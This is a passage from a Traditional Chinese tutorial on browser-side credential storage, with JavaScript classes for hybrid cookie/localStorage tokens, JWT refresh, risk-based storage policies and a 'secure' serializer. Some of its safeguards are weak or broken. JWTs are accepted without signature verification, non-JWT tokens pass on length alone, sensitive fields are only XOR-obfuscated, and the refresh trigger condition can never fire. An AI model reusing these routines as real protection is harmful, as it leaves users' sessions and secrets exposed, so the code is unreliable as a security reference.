const dataBuffer = encoder.encode(dataString);
const key = await this.getSigningKey();
const signatureBuffer = this.base64ToArrayBuffer(signature);
return await crypto.subtle.verify(
'HMAC',
key,
signatureBuffer,
dataBuffer
);
} catch (e) {
console.error('驗證簽名失敗:', e);
return false;
}
}
// 獲取簽名密鑰
async getSigningKey() {
const encoder = new TextEncoder();
const keyMaterial = encoder.encode(this.validationSecret);
return await crypto.subtle.importKey(
'raw',
keyMaterial,
{ name: 'HMAC', hash: 'SHA-256' },
false,
['sign', 'verify']
);
}
// 驗證令牌
async validateToken(token) {
// 基本驗證
if (!token || typeof token !== 'string') {
return false;
}
// 檢查長度
if (token.length < 10) {
return false;
}
// 這裡可以添加JWT驗證邏輯
// 示例:檢查是否為JWT格式
if (token.split('.').length === 3) {
return this.validateJWT(token);
}
return true;
}
// 驗證JWT令牌
async validateJWT(token) {
try {
const parts = token.split('.');
if (parts.length !== 3) return false;
const header = JSON.parse(atob(parts[0]));
const payload = JSON.parse(atob(parts[1]));
// 檢查過期時間
if (payload.exp && Date.now() >= payload.exp * 1000) {
return false;
}
// 檢查生效時間
if (payload.nbf && Date.now() < payload.nbf * 1000) {
return false;
}
return true;
} catch (e) {
console.error('JWT驗證失敗:', e);
return false;
}
}
// ArrayBuffer轉Base64
arrayBufferToBase64(buffer) {
const bytes = new Uint8Array(buffer);
let binary = '';
for (let i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
// Base64轉ArrayBuffer
base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
}
// 使用示例
const hybridStorage = new HybridCredentialStorage({
cookieName: 'app_auth',
localStorageKey: 'app_auth_backup',
cookieLifespan: 3600, // 1小時
localStorageLifespan: 7 * 24 * 60 * 60 * 1000, // 7天
requireConsistency: true
});
// 存儲憑證
async function loginUser(username, password) {
// 模擬API登入
const response = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({ username, password })
});
const data = await response.json();
if (data.success) {
await hybridStorage.storeCredentials({
token: data.token,
userData: data.user,
metadata: {
loginTime: new Date().toISOString(),
ip: data.ip
}
});
return true;
}
return false;
}
// 檢查登入狀態
async function checkAuthStatus() {
const result = await hybridStorage.retrieveCredentials();
if (result.valid) {
console.log('用戶已認證:', result.userData);
return result;
} else {
console.log('認證失敗:', result.reason);
// 重定向到登入頁面
if (result.reason === 'no_credentials' || result.reason === 'invalid_token') {
window.location.href = '/login';
}
return null;
}
}
5.2 令牌刷新機制
javascript
// 自動令牌刷新系統
class TokenRefreshManager {
constructor(options = {}) {
this.options = {
refreshEndpoint: '/api/auth/refresh',
refreshThreshold: 0.8, // 在令牌過期前80%時刷新
maxRetries: 3,
retryDelay: 1000,
...options
};
this.storage = new HybridCredentialStorage();
this.isRefreshing = false;
this.refreshQueue = [];
this.setupAutoRefresh();
}
// 設置自動刷新
setupAutoRefresh() {
// 檢查當前令牌狀態
this.checkTokenExpiry();
// 設置定時檢查
setInterval(() => {
this.checkTokenExpiry();
}, 60 * 1000); // 每分鐘檢查一次
// 監聽頁面可見性變化
document.addEventListener('visibilitychange', () => {
if (!document.hidden) {
this.checkTokenExpiry();
}
});
}
// 檢查令牌過期時間
async checkTokenExpiry() {
if (this.isRefreshing) return;
const credentials = await this.storage.retrieveCredentials();
if (!credentials.valid || !credentials.token) return;
// 解析JWT令牌獲取過期時間
const expiryTime = this.getTokenExpiry(credentials.token);
if (!expiryTime) return;
const now = Date.now();
const timeUntilExpiry = expiryTime - now;
const refreshTime = this.options.refreshThreshold * timeUntilExpiry;
// 如果接近過期,觸發刷新
if (timeUntilExpiry > 0 && timeUntilExpiry <= refreshTime) {
console.log('令牌即將過期,開始刷新...');
this.refreshToken();
}
}
// 獲取令牌過期時間
getTokenExpiry(token) {
try {
const parts = token.split('.');
if (parts.length !== 3) return null;
const payload = JSON.parse(atob(parts[1]));
if (payload.exp) {
return payload.exp * 1000; // 轉換為毫秒
}
return null;
} catch (e) {
console.error('解析令牌失敗:', e);
return null;
}
}
// 刷新令牌
async refreshToken() {
if (this.isRefreshing) {
return new Promise((resolve, reject) => {
this.refreshQueue.push({ resolve, reject });
});
}
this.isRefreshing = true;
try {
const credentials = await this.storage.retrieveCredentials();
if (!credentials.valid) {
throw new Error('無效的憑證');
}
// 發送刷新請求
const newToken = await this.requestTokenRefresh(credentials.token);
if (!newToken) {
throw new Error('刷新令牌失敗');
}
// 更新存儲
await this.storage.storeCredentials({
token: newToken,
userData: credentials.userData,
metadata: credentials.metadata
});
console.log('令牌刷新成功');
// 處理等待中的請求
this.processRefreshQueue(null, newToken);
return newToken;
} catch (error) {
console.error('令牌刷新失敗:', error);
// 處理等待中的請求
this.processRefreshQueue(error);
// 根據錯誤類型處理
if (error.message.includes('無效') || error.message.includes('過期')) {
this.handleInvalidToken();
}
throw error;
} finally {
this.isRefreshing = false;
}
}
// 處理刷新隊列
processRefreshQueue(error, newToken = null) {
this.refreshQueue.forEach(({ resolve, reject }) => {
if (error) {
reject(error);
} else {
resolve(newToken);
}
});
this.refreshQueue = [];
}
// 請求令牌刷新
async requestTokenRefresh(oldToken) {
let retries = 0;
while (retries <= this.options.maxRetries) {
try {
const response = await fetch(this.options.refreshEndpoint, {
method: 'POST',
headers: {
'Authorization': `Bearer ${oldToken}`,
'Content-Type': 'application/json'
},
body: JSON.stringify({ token: oldToken })
});
if (response.status === 401) {
throw new Error('刷新令牌已過期');
}
if (!response.ok) {
throw new Error(`刷新失敗: ${response.status}`);
}
const data = await response.json();
if (!data.token) {
throw new Error('無效的響應格式');
}
return data.token;
} catch (error) {
retries++;
if (retries > this.options.maxRetries) {
throw error;
}
console.log(`刷新重試 ${retries}/${this.options.maxRetries}...`);
// 指數退避延遲
const delay = this.options.retryDelay * Math.pow(2, retries - 1);
await this.sleep(delay);
}
}
}
// 處理無效令牌
handleInvalidToken() {
// 清除本地憑證
this.storage.clearCredentials();
// 顯示通知
this.showExpirationNotification();
// 重定向到登入頁面
setTimeout(() => {
window.location.href = '/login?expired=true';
}, 3000);
}
// 顯示過期通知
showExpirationNotification() {
// 創建通知元素
const notification = document.createElement('div');
notification.style.cssText = `
position: fixed;
top: 20px;
right: 20px;
background: #f44336;
color: white;
padding: 15px;
border-radius: 5px;
z-index: 10000;
max-width: 300px;
box-shadow: 0 2px 10px rgba(0,0,0,0.2);
`;
notification.innerHTML = `
<strong>會話已過期</strong>
<p>您的登入會話已過期,請重新登入。</p>
<p>3秒後跳轉到登入頁面...</p>
`;
document.body.appendChild(notification);
// 3秒後移除通知
setTimeout(() => {
if (notification.parentNode) {
notification.parentNode.removeChild(notification);
}
}, 3000);
}
// 工具函數:等待
sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
// 獲取當前令牌
async getCurrentToken() {
const credentials = await this.storage.retrieveCredentials();
if (!credentials.valid) {
throw new Error('無有效的憑證');
}
// 檢查令牌是否即將過期
const expiryTime = this.getTokenExpiry(credentials.token);
if (expiryTime) {
const timeUntilExpiry = expiryTime - Date.now();
const refreshThreshold = 5 * 60 * 1000; // 5分鐘
if (timeUntilExpiry < refreshThreshold) {
// 令牌即將過期,嘗試刷新
try {
return await this.refreshToken();
} catch (error) {
// 刷新失敗,返回當前令牌(可能很快過期)
console.warn('刷新令牌失敗,使用當前令牌:', error.message);
}
}
}
return credentials.token;
}
// 包裝fetch請求,自動處理令牌
async fetchWithAuth(url, options = {}) {
const token = await this.getCurrentToken();
const authHeaders = {
'Authorization': `Bearer ${token}`,
...options.headers
};
const fetchOptions = {
...options,
headers: authHeaders
};
let response = await fetch(url, fetchOptions);
// 如果令牌過期,嘗試刷新後重試
if (response.status === 401) {
console.log('請求返回401,嘗試刷新令牌...');
try {
const newToken = await this.refreshToken();
// 使用新令牌重試請求
authHeaders['Authorization'] = `Bearer ${newToken}`;
response = await fetch(url, fetchOptions);
} catch (refreshError) {
console.error('刷新令牌失敗,無法重試請求:', refreshError);
throw refreshError;
}
}
return response;
}
}
// 使用示例
const tokenManager = new TokenRefreshManager({
refreshEndpoint: '/api/auth/refresh',
refreshThreshold: 0.8,
maxRetries: 3
});
// 使用包裝的fetch進行API調用
async function fetchUserData() {
try {
const response = await tokenManager.fetchWithAuth('/api/user/profile');
return await response.json();
} catch (error) {
console.error('獲取用戶數據失敗:', error);
throw error;
}
}
// 手動刷新令牌
async function manualRefresh() {
try {
const newToken = await tokenManager.refreshToken();
console.log('手動刷新成功,新令牌:', newToken.substring(0, 20) + '...');
return true;
} catch (error) {
console.error('手動刷新失敗:', error);
return false;
}
}
第六章:進階安全策略
6.1 基於時間的動態存儲策略
javascript
// 動態存儲策略管理器
class DynamicStorageStrategy {
constructor() {
this.strategies = {
HIGH_SECURITY: 'high',
BALANCED: 'balanced',
PERFORMANCE: 'performance',
OFFLINE: 'offline'
};
this.currentStrategy = this.strategies.BALANCED;
this.securityLevels = {
[this.strategies.HIGH_SECURITY]: {
cookieLifespan: 900, // 15分鐘
localStorageLifespan: 3600 * 1000, // 1小時
encryptionRequired: true,
doubleValidation: true,
refreshThreshold: 0.5,
cleanupInterval: 300000 // 5分鐘
},
[this.strategies.BALANCED]: {
cookieLifespan: 3600, // 1小時
localStorageLifespan: 24 * 3600 * 1000, // 24小時
encryptionRequired: true,
doubleValidation: false,
refreshThreshold: 0.8,
cleanupInterval: 3600000 // 1小時
},
[this.strategies.PERFORMANCE]: {
cookieLifespan: 86400, // 24小時
localStorageLifespan: 7 * 24 * 3600 * 1000, // 7天
encryptionRequired: false,
doubleValidation: false,
refreshThreshold: 0.9,
cleanupInterval: 86400000 // 24小時
},
[this.strategies.OFFLINE]: {
cookieLifespan: 2592000, // 30天
localStorageLifespan: 30 * 24 * 3600 * 1000, // 30天
encryptionRequired: true,
doubleValidation: true,
refreshThreshold: 1.0,
cleanupInterval: 604800000 // 7天
}
};
this.riskFactors = {
failedLoginAttempts: 0,
suspiciousActivity: false,
deviceChange: false,
locationChange: false,
timeSinceLastAuth: 0
};
this.initialize();
}
// 初始化
initialize() {
this.loadRiskAssessment();
this.determineOptimalStrategy();
this.setupMonitoring();
}
// 載入風險評估
loadRiskAssessment() {
const storedRisk = localStorage.getItem('risk_assessment');
if (storedRisk) {
try {
this.riskFactors = JSON.parse(storedRisk);
} catch (e) {
console.error('解析風險評估失敗:', e);
}
}
}
// 確定最佳策略
determineOptimalStrategy() {
const riskScore = this.calculateRiskScore();
if (riskScore >= 0.7) {
this.currentStrategy = this.strategies.HIGH_SECURITY;
} else if (riskScore >= 0.4) {
this.currentStrategy = this.strategies.BALANCED;
} else if (riskScore >= 0.1) {
this.currentStrategy = this.strategies.PERFORMANCE;
} else {
// 檢查是否為離線模式
if (!navigator.onLine) {
this.currentStrategy = this.strategies.OFFLINE;
} else {
this.currentStrategy = this.strategies.PERFORMANCE;
}
}
console.log(`當前安全策略: ${this.currentStrategy}, 風險分數: ${riskScore.toFixed(2)}`);
return this.currentStrategy;
}
// 計算風險分數
calculateRiskScore() {
let score = 0;
// 失敗登入嘗試
score += Math.min(this.riskFactors.failedLoginAttempts * 0.1, 0.3);
// 可疑活動
if (this.riskFactors.suspiciousActivity) score += 0.3;
// 設備變更
if (this.riskFactors.deviceChange) score += 0.2;
// 位置變更
if (this.riskFactors.locationChange) score += 0.1;
// 距離上次認證的時間
const hoursSinceAuth = this.riskFactors.timeSinceLastAuth / 3600000;
score += Math.min(hoursSinceAuth * 0.05, 0.2);
return Math.min(score, 1.0);
}
// 設置監控
setupMonitoring() {
// 監聽網路狀態
window.addEventListener('online', () => this.handleNetworkChange(true));
window.addEventListener('offline', () => this.handleNetworkChange(false));
// 監聽頁面可見性
document.addEventListener('visibilitychange', () => {
if (document.hidden) {
this.handlePageHidden();
} else {
this.handlePageVisible();
}
});
// 定期重新評估
setInterval(() => {
this.updateRiskFactors();
this.determineOptimalStrategy();
}, 5 * 60 * 1000); // 每5分鐘
}
// 處理網路變更
handleNetworkChange(isOnline) {
if (!isOnline) {
console.log('切換到離線模式');
this.currentStrategy = this.strategies.OFFLINE;
this.notifyStrategyChange();
} else {
this.determineOptimalStrategy();
}
}
// 處理頁面隱藏
handlePageHidden() {
// 頁面隱藏時,增加安全級別
const previousStrategy = this.currentStrategy;
this.currentStrategy = this.strategies.HIGH_SECURITY;
if (previousStrategy !== this.currentStrategy) {
console.log('頁面隱藏,提升安全級別');
this.applySecurityMeasures();
}
}
// 處理頁面可見
handlePageVisible() {
// 頁面再次可見時,重新評估策略
this.determineOptimalStrategy();
}
// 應用安全措施
applySecurityMeasures() {
const strategy = this.securityLevels[this.currentStrategy];
// 清理過期數據
if (strategy.cleanupInterval) {
this.cleanupStorage(strategy);
}
// 應用加密要求
if (strategy.encryptionRequired) {
this.enableEncryption();
}
// 通知其他組件策略變更
this.notifyStrategyChange();
}
// 清理存儲
cleanupStorage(strategy) {
const now = Date.now();
const keys = Object.keys(localStorage);
keys.forEach(key => {
// 跳過關鍵系統鍵
if (key.startsWith('system_') || key.startsWith('risk_')) return;
try {
const item = localStorage.getItem(key);
const data = JSON.parse(item);
if (data && data.timestamp) {
const age = now - data.timestamp;
// 根據策略決定清理閾值
const maxAge = strategy.localStorageLifespan * 0.8;
if (age > maxAge) {
localStorage.removeItem(key);
console.log(`清理過期數據: ${key}`);
}
}
} catch (e) {
// 解析失敗,可能不是JSON數據
}
});
}
// 啟用加密
enableEncryption() {
// 這裡可以實現對現有數據的加密
console.log('啟用存儲加密');
}
// 通知策略變更
notifyStrategyChange() {
// 發送自定義事件,讓其他組件可以響應
const event = new CustomEvent('securityStrategyChange', {
detail: {
strategy: this.currentStrategy,
config: this.securityLevels[this.currentStrategy]
}
});
window.dispatchEvent(event);
}
// 更新風險因素
updateRiskFactors() {
// 更新距離上次認證的時間
const lastAuth = localStorage.getItem('last_auth_time');
if (lastAuth) {
this.riskFactors.timeSinceLastAuth = Date.now() - parseInt(lastAuth);
}
// 檢查設備指紋
this.checkDeviceFingerprint();
// 保存更新後的風險評估
localStorage.setItem('risk_assessment', JSON.stringify(this.riskFactors));
}
// 檢查設備指紋
checkDeviceFingerprint() {
const currentFingerprint = this.generateDeviceFingerprint();
const storedFingerprint = localStorage.getItem('device_fingerprint');
if (storedFingerprint && storedFingerprint !== currentFingerprint) {
console.warn('設備指紋變更,可能為不同設備');
this.riskFactors.deviceChange = true;
// 觸發重新認證
this.triggerReauthentication();
} else if (!storedFingerprint) {
// 首次設置設備指紋
localStorage.setItem('device_fingerprint', currentFingerprint);
}
}
// 生成設備指紋
generateDeviceFingerprint() {
const components = [
navigator.userAgent,
navigator.language,
screen.width + 'x' + screen.height,
new Date().getTimezoneOffset(),
!!navigator.cookieEnabled,
!!navigator.javaEnabled(),
navigator.hardwareConcurrency || 'unknown'
];
const fingerprintString = components.join('|');
// 簡單哈希
let hash = 0;
for (let i = 0; i < fingerprintString.length; i++) {
const char = fingerprintString.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash).toString(16);
}
// 觸發重新認證
triggerReauthentication() {
// 這裡可以實現重新認證邏輯
console.log('觸發重新認證流程');
// 例如:清除敏感數據,重定向到登入頁面
const event = new CustomEvent('reauthenticationRequired', {
detail: { reason: 'device_change' }
});
window.dispatchEvent(event);
}
// 記錄失敗登入嘗試
recordFailedLogin() {
this.riskFactors.failedLoginAttempts++;
this.determineOptimalStrategy();
// 如果失敗次數過多,採取額外措施
if (this.riskFactors.failedLoginAttempts >= 5) {
this.lockAccountTemporarily();
}
}
// 暫時鎖定帳戶
lockAccountTemporarily() {
const lockUntil = Date.now() + (15 * 60 * 1000); // 15分鐘
localStorage.setItem('account_locked_until', lockUntil.toString());
console.warn('帳戶因多次失敗嘗試被暫時鎖定');
// 通知用戶
this.showLockoutNotification(lockUntil);
}
// 顯示鎖定通知
showLockoutNotification(lockUntil) {
// 實現通知邏輯
}
// 獲取當前策略配置
getCurrentConfig() {
return {
strategy: this.currentStrategy,
config: this.securityLevels[this.currentStrategy],
riskScore: this.calculateRiskScore(),
riskFactors: { ...this.riskFactors }
};
}
// 手動設置策略
setStrategy(strategy) {
if (Object.values(this.strategies).includes(strategy)) {
this.currentStrategy = strategy;
this.applySecurityMeasures();
return true;
}
return false;
}
}
// 使用示例
const securityManager = new DynamicStorageStrategy();
// 監聽策略變更
window.addEventListener('securityStrategyChange', (event) => {
console.log('安全策略已變更:', event.detail.strategy);
// 根據新策略調整應用行為
const config = event.detail.config;
// 例如:調整會話超時時間
if (window.sessionManager) {
window.sessionManager.adjustTimeout(config.cookieLifespan);
}
});
// 監聽重新認證要求
window.addEventListener('reauthenticationRequired', (event) => {
console.log('需要重新認證,原因:', event.detail.reason);
// 清除用戶數據
localStorage.removeItem('user_data');
localStorage.removeItem('auth_token');
// 重定向到登入頁面
window.location.href = `/login?reason=${encodeURIComponent(event.detail.reason)}`;
});
// 獲取當前安全狀態
function getSecurityStatus() {
return securityManager.getCurrentConfig();
}
// 記錄安全事件
function recordSecurityEvent(type, details) {
const events = JSON.parse(localStorage.getItem('security_events') || '[]');
events.push({
type,
details,
timestamp: new Date().toISOString(),
strategy: securityManager.currentStrategy
});
// 只保留最近的100個事件
if (events.length > 100) {
events.shift();
}
localStorage.setItem('security_events', JSON.stringify(events));
// 根據事件類型更新風險因素
if (type === 'failed_login') {
securityManager.recordFailedLogin();
} else if (type === 'suspicious_activity') {
securityManager.riskFactors.suspiciousActivity = true;
}
}
6.2 安全的數據序列化和反序列化
javascript
// 安全序列化系統
class SecureSerializer {
constructor() {
this.reviver = this.createReviver();
this.replacer = this.createReplacer();
this.sensitivePatterns = [
/password/i,
/token/i,
/secret/i,
/credit.?card/i,
/ssn|social.?security/i,
/api.?key/i
];
}
// 創建安全的reviver函數
createReviver() {
return (key, value) => {
// 檢查是否為敏感鍵
if (key && this.isSensitiveKey(key)) {
return this.decryptSensitiveValue(value);
}
// 處理特殊值
if (value && typeof value === 'object') {
// 防止原型污染
if (value.__proto__ !== Object.prototype &&
value.__proto__ !== Array.prototype) {
return null;
}
// 檢查循環引用
try {
JSON.stringify(value);
} catch (e) {
console.warn('檢測到循環引用,跳過此對象');
return null;
}
}
// 處理日期字符串
if (typeof value === 'string' && this.isDateString(value)) {
const date = new Date(value);
if (!isNaN(date.getTime())) {
return date;
}
}
return value;
};
}
// 創建安全的replacer函數
createReplacer() {
return (key, value) => {
// 檢查是否為敏感鍵
if (key && this.isSensitiveKey(key)) {
return this.encryptSensitiveValue(value);
}
// 處理特殊類型
if (value instanceof Date) {
return value.toISOString();
}
if (value instanceof RegExp) {
return value.toString();
}
if (value instanceof Error) {
return {
__type: 'Error',
name: value.name,
message: value.message,
stack: value.stack
};
}
// 防止循環引用
if (typeof value === 'object' && value !== null) {
try {
JSON.stringify(value);
} catch (e) {
return {
__type: 'Unserializable',
message: '無法序列化的對象'
};
}
}
return value;
};
}
// 檢查是否為敏感鍵
isSensitiveKey(key) {
return this.sensitivePatterns.some(pattern => pattern.test(key));
}
// 加密敏感值
encryptSensitiveValue(value) {
if (typeof value !== 'string') {
value = JSON.stringify(value);
}
// 簡單的混淆(生產環境應使用強加密)
let result = '';
for (let i = 0; i < value.length; i++) {
const charCode = value.charCodeAt(i) ^ 0x55; // 簡單的XOR加密
result += String.fromCharCode(charCode);
}
return {
__encrypted: true,
data: btoa(result)
};
}
// 解密敏感值
decryptSensitiveValue(value) {
if (value && value.__encrypted && value.data) {
try {
const decoded = atob(value.data);
let result = '';
for (let i = 0; i < decoded.length; i++) {
const charCode = decoded.charCodeAt(i) ^ 0x55; // XOR解密
result += String.fromCharCode(charCode);
}
// 嘗試解析為JSON
try {
return JSON.parse(result);
} catch (e) {
return result;
}
} catch (e) {
console.error('解密失敗:', e);
return null;
}
}
return value;
}
// 檢查是否為日期字符串
isDateString(str) {
return /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/.test(str);
}
// 安全序列化
serialize(obj, options = {}) {
const defaults = {
pretty: false,
secure: true,
maxDepth: 10
};
const config = { ...defaults, ...options };
// 檢查循環引用和深度
const checkedObj = this.checkObject(obj, config.maxDepth);
let replacer = this.replacer;
if (!config.secure) {
replacer = null;
}
try {
if (config.pretty) {
return JSON.stringify(checkedObj, replacer, 2);
} else {
return JSON.stringify(checkedObj, replacer);
}
} catch (error) {
console.error('序列化失敗:', error);
// 嘗試修復序列化
return this.fallbackSerialize(checkedObj);
}
}
// 安全反序列化
deserialize(str, options = {}) {
const defaults = {
secure: true,
strict: false
};
const config = { ...defaults, ...options };
if (typeof str !== 'string') {
if (config.strict) {
throw new TypeError('輸入必須是字符串');
}
return str;
}
let reviver = this.reviver;
if (!config.secure) {
reviver = null;
}
try {
return JSON.parse(str, reviver);
} catch (error) {
console.error('反序列化失敗:', error);
if (config.strict) {
throw error;
}
// 嘗試修復
return this.fallbackDeserialize(str);
}
}
// 檢查對象深度和循環引用
checkObject(obj, maxDepth, currentDepth = 0, seen = new WeakSet()) {
if (currentDepth > maxDepth) {
return { __error: '超出最大深度' };
}
if (obj === null || typeof obj !== 'object') {
return obj;
}
// 檢查循環引用
if (seen.has(obj)) {
return { __error: '循環引用檢測' };
}
seen.add(obj);
// 處理數組
if (Array.isArray(obj)) {
return obj.map(item =>
this.checkObject(item, maxDepth, currentDepth + 1, seen)
);
}
// 處理普通對象
const result = {};
for (const key in obj) {
if (obj.hasOwnProperty(key)) {
result[key] = this.checkObject(
obj[key],
maxDepth,
currentDepth + 1,
seen
);
}
}
return result;
}
// 後備序列化
fallbackSerialize(obj) {
const result = {};
for (const key in obj) {
if (obj.hasOwnProperty(key)) {
const value = obj[key];
if (value === undefined) {
result[key] = null;
} else if (typeof value === 'function') {
result[key] = { __type: 'Function' };
} else if (value instanceof HTMLElement) {
result[key] = { __type: 'HTMLElement', tag: value.tagName };
} else {
try {
result[key] = value;
} catch (e) {
result[key] = { __error: '無法序列化' };
}
}
}
}
return JSON.stringify(result);
}
// 後備反序列化
fallbackDeserialize(str) {
try {
// 嘗試修復常見的JSON問題
let fixedStr = str
.replace(/'/g, '"') // 單引號轉雙引號
.replace(/,\s*]/g, ']') // 移除尾隨逗號
.replace(/,\s*}/g, '}') // 移除尾隨逗號
.replace(/:\s*'/g, ': "') // 屬性值單引號轉雙引號
.replace(/'\s*([,}])/g, '"$1'); // 結尾單引號轉雙引號
return JSON.parse(fixedStr);
} catch (e) {
console.error('後備反序列化失敗:', e);
return { __error: '無法解析數據' };
}
}
// 深度克隆(使用序列化/反序列化)
deepClone(obj, options = {}) {
const serialized = this.serialize(obj, options);
return this.deserialize(serialized, options);
}
// 安全合併對象
safeMerge(target, source, options = {}) {
const defaults = {
deep: true,
overwrite: true,
secure: true
};
const config = { ...defaults, ...options };
if (!source || typeof source !== 'object') {
return this.deepClone(target, { secure: config.secure });
}
const result = this.deepClone(target, { secure: config.secure });
for (const key in source) {
if (source.hasOwnProperty(key)) {
const sourceValue = source[key];
const targetValue = result[key];
if (config.deep &&
typeof sourceValue === 'object' &&
sourceValue !== null &&
typeof targetValue === 'object' &&
targetValue !== null &&
!Array.isArray(sourceValue)) {
result[key] = this.safeMerge(
targetValue,
sourceValue,
config
);
} else if (config.overwrite || targetValue === undefined) {
result[key] = this.deepClone(sourceValue, { secure: config.secure });
}
}
}
return result;
}
}
// 使用示例
const serializer = new SecureSerializer();
// 序列化包含敏感數據的對象
const userData = {
username: 'john_doe',
password: 'secret123', // 敏感數據
email: 'john@example.com',
preferences: {
theme: 'dark',
notifications: true
},
apiTokens: [
{ name: 'github', token: 'ghp_abc123' } // 敏感數據
],
lastLogin: new Date()
};
// 安全序列化(自動加密敏感字段)
const serialized = serializer.serialize(userData, { pretty: true });
console.log('安全序列化結果:', serialized);
// 安全反序列化(自動解密敏感字段)
const deserialized = serializer.deserialize(serialized);
console.log('安全反序列化結果:', deserialized);
// 深度克隆
const clonedData = serializer.deepClone(userData);
console.log('深度克隆結果:', clonedData);
// 安全合併
const additionalData = {
password: 'newSecret456', // 會自動加密
settings: { language: 'zh-TW' }
};
const merged = serializer.safeMerge(userData, additionalData);
console.log('安全合併結果:', merged);
第七章:實戰案例與最佳實踐
7.1 完整的安全存儲系統實現
javascript
// 完整的安全存儲系統
class CompleteSecureStorage {
constructor(appName, options = {}) {
this.appName = appName;
this.options = {
encryptionEnabled: true,
compressionEnabled: false,
integrityChecking: true,
automaticCleanup: true,
defaultExpiry: 7 * 24 * 60 * 60 * 1000, // 7天
maxTotalSize: 10 * 1024 * 1024, // 10MB
version: '1.0.0',
...options
};
this.storageTypes = {
SESSION: 'session',
PERSISTENT: 'persistent',
SECURE: 'secure',
CACHE: 'cache'
};
this.encryption = new EncryptionManager();
this.compression = new CompressionManager();
this.integrity = new IntegrityManager();
this.quota = new QuotaManager(this.options.maxTotalSize);
this.initialize();
}
// 初始化
initialize() {
this.migrateOldData();
this.setupCleanupSchedule();
this.setupMonitoring();
this.createNamespace();
}
// 遷移舊數據
migrateOldData() {
const migrationKey = `${this.appName}_migration_v${this.options.version}`;
if (!localStorage.getItem(migrationKey)) {
console.log('開始數據遷移...');
this.migrateFromCookies();
this.migrateFromPlainStorage();
localStorage.setItem(migrationKey, 'completed');
console.log('數據遷移完成');
}
}
// 從Cookie遷移
migrateFromCookies() {
const cookies = document.cookie.split(';');
cookies.forEach(cookie => {
const [name, value] = cookie.trim().split('=');
if (name && value && name.startsWith(this.appName)) {
const cleanName = name.replace(`${this.appName}_`, '');
this.set(cleanName, decodeURIComponent(value), {
type: this.storageTypes.PERSISTENT,
migrated: true,
source: 'cookie'
});
// 清除舊Cookie
document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`;
}
});
}
// 從普通存儲遷移
migrateFromPlainStorage() {
const keys = Object.keys(localStorage);
keys.forEach(key => {
if (key.startsWith(this.appName) && !key.includes(':')) {
const value = localStorage.getItem(key);
const cleanName = key.replace(`${this.appName}_`, '');
this.set(cleanName, value, {
type: this.storageTypes.PERSISTENT,
migrated: true,
source: 'localStorage'
});
localStorage.removeItem(key);
}
});
}
// 設置清理計劃
setupCleanupSchedule() {
if (this.options.automaticCleanup) {
// 每小時檢查一次
setInterval(() => {
this.cleanupExpired();
}, 60 * 60 * 1000);
// 頁面卸載時清理臨時數據
window.addEventListener('beforeunload', () => {
this.cleanupSessionData();
});
}
}
// 設置監控
setupMonitoring() {
// 監聽存儲事件
window.addEventListener('storage', (event) => {
this.handleStorageEvent(event);
});
// 監聽自定義事件
window.addEventListener('securityEvent', (event) => {
this.handleSecurityEvent(event);
});
}
// 創建命名空間
createNamespace() {
const namespace = {
app: this.appName,
version: this.options.version,
createdAt: new Date().toISOString(),
stats: {
totalItems: 0,
totalSize: 0,
lastCleaned: null
}
};
this.setRaw('namespace', namespace);
}
// 設置數據
async set(key, value, options = {}) {
const defaults = {
type: this.storageTypes.PERSISTENT,
expiresIn: this.options.defaultExpiry,
encrypt: this.options.encryptionEnabled,
compress: this.options.compressionEnabled,
validateIntegrity: this.options.integrityChecking,
metadata: {}
};
const config = { ...defaults, ...options };
// 準備存儲數據
let dataToStore = value;
// 壓縮
if (config.compress && this.compression.isCompressible(dataToStore)) {
dataToStore = await this.compression.compress(dataToStore);
config.metadata.compressed = true;
}
// 加密
if (config.encrypt) {
dataToStore = await this.encryption.encrypt(dataToStore, key);
config.metadata.encrypted = true;
}
// 計算完整性校驗
if (config.validateIntegrity) {
config.metadata.integrityHash = await this.integrity.calculateHash(dataToStore);
}
// 準備存儲項
const storageItem = {
data: dataToStore,
metadata: {
...config.metadata,
type: config.type,
created: Date.now(),
expires: config.expiresIn ? Date.now() + config.expiresIn : null,
size: this.calculateSize(dataToStore),
key: key
}
};
// 檢查配額
if (!this.quota.canStore(storageItem.metadata.size)) {
await this.quota.makeSpace(storageItem.metadata.size);
}
// 存儲
const storageKey = this.getStorageKey(key, config.type);
this.setRaw(storageKey, storageItem);
// 更新統計信息
this.updateStats(storageItem.metadata.size);
// 觸發事件
this.triggerEvent('itemStored', { key, config });
return true;
}
// 獲取數據
async get(key, options = {}) {
const defaults = {
type: this.storageTypes.PERSISTENT,
decrypt: this.options.encryptionEnabled,
decompress: this.options.compressionEnabled,
verifyIntegrity: this.options.integrityChecking
};
const config = { ...defaults, ...options };
// 嘗試不同類型的存儲
const typesToTry = [
config.type,
...Object.values(this.storageTypes).filter(t => t !== config.type)
];
for (const type of typesToTry) {
const storageKey = this.getStorageKey(key, type);
const item = this.getRaw(storageKey);
if (item) {
// 檢查是否過期
if (item.metadata.expires && Date.now() > item.metadata.expires) {
this.remove(key, { type: type });
continue;
}
let data = item.data;
// 驗證完整性
if (config.verifyIntegrity && item.metadata.integrityHash) {
const valid = await this.integrity.verifyHash(data, item.metadata.integrityHash);
if (!valid) {
console.warn(`完整性檢查失敗: ${key}`);
this.remove(key, { type: type });
continue;
}
}
// 解密
if (config.decrypt && item.metadata.encrypted) {
try {
data = await this.encryption.decrypt(data, key);
} catch (error) {
console.error(`解密失敗: ${key}`, error);
continue;
}
}
// 解壓縮
if (config.decompress && item.metadata.compressed) {
try {
data = await this.compression.decompress(data);
} catch (error) {
console.error(`解壓縮失敗: ${key}`, error);
continue;
}
}
// 更新訪問時間
item.metadata.lastAccessed = Date.now();
this.setRaw(storageKey, item);
// 觸發事件
this.triggerEvent('itemRetrieved', { key, type });
return data;
}
}
return null;
}
// 移除數據
remove(key, options = {}) {
const defaults = {
type: null // null表示所有類型
};
const config = { ...defaults, ...options };
let removed = false;
if (config.type) {
// 移除特定類型的數據
const storageKey = this.getStorageKey(key, config.type);
